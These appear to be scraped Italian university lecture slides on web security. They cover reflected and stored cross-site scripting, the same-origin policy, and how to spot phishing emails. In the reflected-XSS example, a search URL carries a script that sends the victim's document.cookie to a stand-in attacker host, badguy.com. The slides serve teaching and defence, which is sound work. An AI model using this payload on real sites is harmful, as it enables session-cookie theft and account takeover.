Elementi di Sicurezza e Privatezza Lezione 16 Web Security - Code Injection (2)



Documenti analoghi
Elementi di Sicurezza e Privatezza Lezione 14 Web Security. Chiara Braghin

Nelle reti di calcolatori, le porte (traduzione impropria del termine. port inglese, che in realtà significa porto) sono lo strumento

- Corso di computer -

Esercizi di JavaScript

Client - Server. Client Web: il BROWSER

19. LA PROGRAMMAZIONE LATO SERVER

MODELLO CLIENT/SERVER. Gianluca Daino Dipartimento di Ingegneria dell Informazione Università degli Studi di Siena

SMS API. Documentazione Tecnica YouSMS HTTP API. YouSMS Evet Limited

Protocolli applicativi: FTP

SICUREZZA INFORMATICA MINACCE

TeamPortal. Servizi integrati con ambienti Gestionali

2.5. L'indirizzo IP identifica il computer di origine, il numero di porta invece identifica il processo di origine.

Istruzioni per il pagamento con Carta di Credito

La posta elettronica. Informazioni di base sul funzionamento

1. ACCESSO AL PORTALE easytao

[1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection

Scuola Digitale. Manuale utente. Copyright 2014, Axios Italia

Manuale LiveBox WEB ADMIN.

Utilizzo dei Cookie Cosa sono i cookie? A cosa servono i cookie? cookie tecnici cookie, detti analitici cookie di profilazione

GUIDA ALL ACQUISTO DELLE FOTO

Posta Elettronica. Comunicare con . Definizione di . Def) La posta elettronica è un metodo di trasmissione dei messaggi tramite Internet:

Posta Elettronica. Comunicare con . Definizione di . metodo di trasmissione dei messaggi tramite Internet:

1. Manuale d uso per l utilizzo della WebMail PEC e del client di posta tradizionale

GESGOLF SMS ONLINE. Manuale per l utente

Procedura SMS. Manuale Utente

Informativa ex art. 13 D.lgs. 196/2003

LA GESTIONE DELLE VISITE CLIENTI VIA WEB

Esercitazione. Formato di compitini e compiti: domande ed esercizi "closed book" G. Ferrari - Reti di calcolatori.

Manuale LiveBox WEB ADMIN.

Il Sito web usa i cookie per raccogliere informazioni utili a

Configurazione di Outlook Express

1) GESTIONE DELLE POSTAZIONI REMOTE

Le caselle di Posta Certificata attivate da Aruba Pec Spa hanno le seguenti caratteristiche:

Collegamento remoto vending machines by do-dots

I cookie sono classificati in base alla durata e al sito che li ha impostati.

Come funziona il WWW. Architettura client-server. Web: client-server. Il protocollo

Informatica per la comunicazione" - lezione 10 -

Cookie e Webstorage. Vediamo ora i metodi dell oggetto localstorage. Per memorizzare un valore si utilizza il metodo setitem:

Architettura client-server

Informativa Cookie. Cosa sono i cookie

Elementi di Sicurezza e Privatezza Lezione 1 - Introduzione

Scaletta. Estensioni UML per il Web. Applicazioni web - 2. Applicazioni web. WAE: Web Application Extension for UML. «Client page»

marketing ed invio newsletter. Invio di messaggi vocali personalizzati

Individuare Web Shell nocive con PHP Shell

Esempio Cookie Policy

Corso di PHP. Prerequisiti. 6.1 PHP e il web 1. Conoscenza HTML Tecnica della programmazione Principi di programmazione web

Guida alla registrazione on-line di un DataLogger

Il tuo manuale d'uso. SONY ERICSSON K530I

Manuale per la configurazione di un account di PEC in Mozilla.

Esempi di applicazioni internet. WEB Trasferimento File Posta Elettronica Sistema dei nomi di dominio (DNS)


Risultati dell esame degli oggetti scaricati da BackDoor.Flashback sui Mac infetti

INFN Sezione di Perugia Servizio di Calcolo e Reti Fabrizio Gentile Enrico Becchetti

Proteggi gli account personali

COOKIES COSA SONO I COOKIES? COME UTILIZZIAMO I COOKIES?

Guida all utilizzo di mysm 2.0. Ver 1.0 1

Manuale NetSupport v Liceo G. Cotta Marco Bolzon

File, Modifica, Visualizza, Strumenti, Messaggio

GUIDA ALL USO DEL PANNELLO DI GESTIONE SITO WEB

Consiglio regionale della Toscana. Regole per il corretto funzionamento della posta elettronica

INFORMATIVA SUL DIRITTO ALLA PRIVACY PER LA CONSULTAZIONE DEL SITO WEB

Installazione di Moodle. Preparato per: Gruppo A, Piattaforma di E - Learning Preparato da: Cinzia Compagnone, Vittorio Saettone

Utilizzo dei Cookie Cosa sono i cookie? A cosa servono i cookie? cookie tecnici cookie, detti analitici cookie di profilazione

GUIDA ALLA REGISTRAZIONE DI UN DVR SU

Software Servizi Web UOGA

FPf per Windows 3.1. Guida all uso

Domande e risposte su Avira ProActiv Community

Alfa Layer S.r.l. Via Caboto, Torino ALFA PORTAL

NAVIGAORA HOTSPOT. Manuale utente per la configurazione

Il Web Server e il protocollo HTTP

MAUALE PIATTAFORMA MOODLE

Informazioni di sicurezza per un Accesso Sicuro al servizio Baer Online Monaco

In questa pagina si descrivono le modalità di gestione del sito in riferimento al trattamento dei dati personali degli utenti che lo consultano.

MANUALE PER CONSULTARE LA RASSEGNA STAMPA VIA WEB

Il tuo manuale d'uso. SONY ERICSSON Z550I

sito web sito Internet

Una minaccia dovuta all uso dell SNMP su WLAN

ISSA EUROPE PTSOFTWARE 2.0

Web Programming Specifiche dei progetti

Guida Sintetica Portale Clienti Sportello

Mini guida all utilizzo del nuovo sistema on-line di Ciessevi

GESTIONE RICHIESTE ESTENSIONE DI GARANZIA

1 Introduzione Installazione Configurazione di Outlook Impostazioni manuali del server... 10

Mail Cube Guida utente

Configurazione di Microsoft Outlook 2007

MANUALE PARCELLA FACILE PLUS INDICE

Installazione di GFI Network Server Monitor

Lezione n 1! Introduzione"

Transcript:

Elementi di Sicurezza e Privatezza Lezione 16 Web Security - Code Injection (2) Chiara Braghin chiara.braghin@unimi.it

XSS Cross Site Scripting

Cosa è XSS? (1) Forma di attacco in cui l attaccante è in grado di eseguire del codice arbitrario (script) nella pagina Web visualizzata da un altro utente Compromette il client, non il server 2

Cosa è XSS? (2) Obiettivi dell attacco: Rubare cookie di sessione Eseguire azioni (anche in modo implicito) per le quali solo l utente attaccato ha i privilegi Visualizzare contenuti falsi o modificati Diffondere l attacco postando il codice nella pagina di un social network, facendo in modo che tutti gli amici dell utente vengano infettati 3

Cosa è XSS? (3) Un attacco XSS inserisce uno script (script injection) nella(e) pagina(e) generata(e) da un server Web Metodi per inserire lo script : Reflected XSS ( tipo 1, detto anche non persistente) L utente che subisce l attacco segue un link malizioso che lo rimanda ad un server vulnerabile che scrive l attacco XSS nella risposta Il contenuto della pagina spedita come risposta dal server viene modificata in modo non permanente ed esclusivamente per le richieste HTTP che utilizzano tale URL appositamente forgiato Lo script, contenuto in qualche modo nel link malizioso, viene spedito all utente come parte di una pagina del server vulnerabile Stored XSS ( tipo 2, detto anche persistente) L attaccante salva il codice malizioso tra le risorse gestite dal server Web vulnerabile (per esempio un DB), ad esempio inserendolo come commento Il contenuto della pagina viene modificato permanentemente, quindi tutti gli utenti che successivamente accedono al sito Web gestito da tale server sono potenzialmente attaccabili 4

Come inserire lo script? Form URL Feed RSS, sistemi integrati, ecc. 5

Reflected XSS - esempio (1) Supponiamo che sul sito victim.com ci sia un campo di ricerca: http://victim.com/search.php? term = apple E che search.php a lato server sia: <HTML><TITLE>Risultati della ricerca</title> <BODY> Risultati per <?php echo $_GET[term]?> :... </BODY> </HTML> 6

Reflected XSS - esempio (2) Si consideri il seguente link (generato dall attaccante badguy.com): http://victim.com/search.php? term = <script> window.open( http://badguy.com?cookie = + document.cookie ) </script> Cosa succede se l utente fa click sul link? Il browser va a victim.com/search.php Victim.com ritorna la seguente pagina: <HTML> Risultati per <script> </script> Il browser esegue lo script: Spedisce a badguy.com il cookie dell utente 7

Reflected XSS - esempio (3) Attaccante 1. L utente riceve il link cattivo www.attacker.com http://victim.com/search.php? term = <script>... </script> 2. L utente fa click sul link Client vittima 2. Il server vittima rimanda indietro senza verificarlo l input dell utente www.victim.com <html> Risultati per <script> window.open(http://attacker.com?... document.cookie...) </script> </html> Server Vittima 8

Reflected XSS - in generale (1) 1 4 Script injection Durante l esecuzione dello script, spedisce dati confidenziali Attaccante Client vittima 3 2 Riflette l input indietro all utente senza verificarlo Spedisce (inconsapevolmente) lo script Server Vittima 9

Reflected XSS - in generale (2) Possibile quando un server Web è dinamico e genera una pagina utilizzando dati inseriti dal client mediante i parametri della richiesta HTTP o di un form, senza verificarli In questo caso il server si dice XSS vulnerable 10

Reflected XSS - in generale (3) 1. Alice spesso visita il sito di Bob, che è un server XSS vulnerable e ha i privilegi per memorizzare i dati sensibili di Alice 2. Eve osserva quanto sopra, crea un URL che sfrutta tale vulnerabilità e spedisce ad Alice una mail con l URL (che punta al sito di Bob, ma contiene uno script malizioso ) 3. Alice visita l URL e lo script di Eve viene eseguito dal browser di Alice, come se venisse direttamente da Bob 11

Same-origin policy dei browser (1) Detta anche cross-domain security policy Introdotta da Netscape Navigator 2.0 Limita l interazione tra pagine Web che provengono da domini diversi Gli script possono accedere solo alle proprietà (cookie, oggetti DOM) di documenti che hanno la stessa origine NB1: i link, i frame, le immagini, i fogli di stile e gli script possono appartenere e provenire da domini diversi 12

Same-origin policy dei browser (2) Origin: protocol, hostname, port, ma non il path Same Origin http://www.examplesite.org/here http://www.examplesite.org/there stesso protocollo: http, host: examplesite, default port 80 All Different Origins http://www.examplesite.org/here https://www.examplesite.org/there http://www.examplesite.org:8080/thar http://www.hackerhome.org/yonder Protocollo diverso: http vs. https, porte diverse: 80 vs. 8080, host diversi: examplesite vs. hackerhome 13

Same-origin policy dei browser (3) Con l attacco XSS viene bypassata la same-origin policy! 14

Esempio: attacco a PayPal Attacco del 2006: Gli utenti vengono contattati via email e gli viene richiesto di accedere ad un URL che si trova sul sito (legittimo) di PayPal Del codice iniettato nell URL ridireziona i visitatori ad una pagina che comunica loro che i loro account sono stati compromessi Le vittime vengono quindi redirette ad un sito (non legittimo!!) dove veniva loro chiesto di inserire i loro dati sensibili Riferimento: http://www.acunetix.com/news/paypal.htm 15

Stored XSS - in generale (1) Attaccante Client vittima 4 Rilascio di dati confidenziali 2 3 Richiesta di una pagina 1 Inserimento dello script malizioso Riceve lo script malizioso Server Vittima 16

Stored XSS - in generale (2) Possibile grazie a siti con online message board dove gli utenti possono inserire messaggi formattati in HTML Scenario: 1. Eve posta in un social network un messaggio con un corpo malizioso 2. Quando Bob legge il messaggio, lo script malizioso legge il cookie di Bob e lo spedisce a Eve 3. Eve ora può impersonare Bob 17

Stored XSS - esempio (1) Attacco a MySpace.com (il Worm Samy) Gli utenti possono postare codice HTML nelle loro pagine MySpace.com verifica che l HTML non contenga <script>, <body>, onclick, <a href=javascript://> ma Javascript nei tag CSS è permesso: <div style= background:url( javascript:alert(1) ) > Con un attento Javascript hacking: Il worm Samy infetta chiunque visiti una pagina di MySpace infettata, e aggiunge Samy come amico In 24 ore Samy aveva milioni di amici!! 18

Stored XSS - esempio (2) Stored XSS tramite immagini Si supponga che il file foto.jpg contenga HTML La richiesta http://site.com/foto.jpg ha come risposta: HTTP/1.1 200 OK Content-Type: image/jpeg <html> scherzetto! </html> Il browser visualizzerà la risposta come HTML, non curante del Content-Type Si supponga che esista un sito di condivisione foto che permette di scaricare le immagini..cosa succede se un utente scarica un immagine che è uno script? 19

XSS: Come difendersi? A lato server: Analizzare i dati in input e "depurire" i parametri in ingresso degli elementi potenzialmente nocivi (i.e., tag HTML, apici, simboli utilizzati dal linguaggio di programmazione, ) A lato client: mantenere aggiornati i browser, le ultime versioni includono un filtro per questo tipo di attacchi Firefox: Content Security Policy 20

Phishing

Phishing Attività illegale che pesca utenti in rete e li porta a visitare un sito Web malizioso che recupera a loro insaputa informazioni personali o riservate Obiettivo: Recuperare le credenziali di accesso usate per il servizio di homebanking che la maggior parte delle banche/istituti di credito mettono a disposizione dei propri clienti Trasferimento illecito di soldi (ovviamente all insaputa della vittima) 22

Funzionamento Le vittime vengono indotte ad inserire i propri dati in un sito Web che simula graficamente quello ufficiale I dati inseriti vengo memorizzati ed usati dall attaccante per avere accesso al vero sito come un normale cliente 23

Come pescare le vittime? (1) Delle mail fasulle inducono la vittima a visitare il finto sito: La mail contiene quasi sempre avvisi di particolari situazioni o problemi che richiedono l accesso alla parte del sito autenticata (un addebito enorme, la scadenza dell'account, ecc.) Il link presente nella mail indirizza l utente al sito di phishing e non al sito ufficiale 24

Come pescare le vittime? (2) ATTACCANTE @ @ @ 1. L attaccante invia a migliaia di indirizzi internet una mail spacciandosi per un istituto bancario Gentile utente, per motivi di sicurezza la invitiamo al più presto a controllare il proprio account personale. http://www.banklinknet.it 2. L utente riceve la mail dove gli viene chiesto di cliccare su di un link ed inserire i propri codici d accesso ATTACCANTE 3. I codici inseriti arrivano direttamente all attacante che li userà per i suoi scopi illeciti 25

Come riconoscere l attacco? (1) Alcune parti della mail, se osservate con attenzione, possono segnalare che si tratta di una comunicazione anomala : indirizzo del mittente del messaggio Italiano stentato: errori ortografici, di sintassi o di coniugazione verbi, in quanto generata da un traduttore automatico link ad una pagina esterna segnalazioni di blocco del conto, minacce di chiusura del conto o di servizi, piuttosto che segnalazioni di vittorie o premi a patto che si inseriscano i codici personali 26

Come riconoscere l attacco? (2) Mittente fasullo Il mittente rapport@sanpaolo.com è un indirizzo sospetto che una banca difficilmente utilizzerebbe per le sue comunicazioni ufficiali 27

Come riconoscere l attacco? (3) Italiano zoppicante: Gentile Cliente, Gruppo Poste spa premia il suo account con un bonus di fedeltã. Per ricevere il bonus à necesario accedere ai servizi online entro 48 ore dalla ricezione di questa e-mail. Importo bonus vinto: euro 250,00; Commissioni: euro 1,00; Importo totale: euro 251,00 Accedi ai servizi online per accreditare il bonus fedeltã. Per ulteriori informazioni consulta il sito web. La ringraziamo per aver scelto i nostri servizi. Distinti Saluti Gruppo Poste spa 28

Come riconoscere l attacco? (4) Il testo del link (1) non coincide con il vero URL Infatti il browser verrà indirizzato ad un IP (2) che corrisponde al sito fasullo 29

Come difendersi? (1) Analizzare il codice sorgente della mail << X-Account-Key: account2 X-UIDL: 26965 X-Mozilla-Status: 0001 X-Mozilla-Status2: 00000000 Return-Path: <rapport@sanpaolo.com> Received: from vsmtp20.tin.it (192.168.70.95) by ims3a.cp.tin.it (7.2.072.1) id 4421EA10006D86D2 for ****************@tin.it; Wed, 15 Apr 2006 04:19:32 +0200 Received: from mail.luanett.com.br (201.11.204.2) by vsmtp20.tin.it (7.2.072.1) id 4405C7C102F5CF4A for freddy_net@tin.it; Wed, 5 Apr 2006 04:18:27 +0200 Message-ID: <4405C7C102F5CF4A@vsmtp20.tin.it> (added by postmaster@virgilio.it) Received: (qmail 27756 invoked by uid 1020); 4 Apr 2006 23:18:22-0300 Received: from 81.181.170.26 by cometa (envelope-from <rapport@sanpaolo.com>, uid 89) with qmail-scanner-1.24-st-qms (clamdscan: 0.80/633. spamassassin: 2.64. perlscan: 1.24-st-qms. Clear:RC:0(81.181.170.26):SA:0(4.7/5.0):. Processed in 5.119488 secs); 05 Apr 2006 02:18:22-0000 X-Spam-Status: No, hits=4.7 required=5.0 X-Spam-Level: ++++ X-Antivirus-Luanett-Mail-From: rapport@sanpaolo.com via cometa X-Antivirus-Luanett: 1.24-st-qms (Clear:RC:0(81.181.170.26):SA:0(4.7/5.0):. Processed in 5.119488 secs Process 27729) Received: from user-ip-26-170-181-81-sel.rdsnav.ro (HELO service) (service@81.181.170.26) by mail.luanett.com.br with SMTP; 4 Apr 2006 23:18:17-0300 Reply-To: <no0reply@sanpaolo.com> From: "Banca San Paolo IMI"<rapport@sanpaolo.com> Subject: Important Circa Il *** Imminente Di Cliente Di Bank Della Squadra Del Internet Date: Wed, 5 Apr 2006 06:18:03 +0300 MIME-Version: 1.0 >> 30

Come difendersi? (2) Received: from 81.181.170.26 Utilizzando uno dei siti che mettono a disposizione il servizio WHO IS è possibile ottenere maggiori informazioni sull indirizzo IP di partenza. In questo caso risulta che l host sia in Romania E sicuramente una buona ragione per dubitare che la provenienza della mail sia la Banca San Paolo. 31

Esempio (1) 32

Esempio (2) 33

Esempio (3) L URL del sito inizia con HTTP invece che con HTTPS Molto strano che un sito cosi importante utilizzi protocolli non sicuri per l autenticazione degli utenti! 34

Esempio (4) 35

Statistiche I più bersagliati sono i clienti di Poste Italiane e di Intesa S. Paolo, seguiti da quelli di Cartasì, ma non mancano i soliti ebay e PayPal In tutti i casi esaminati i siti di phishing sono praticamente indistinguibili dall originale, se non per qualche dettaglio 36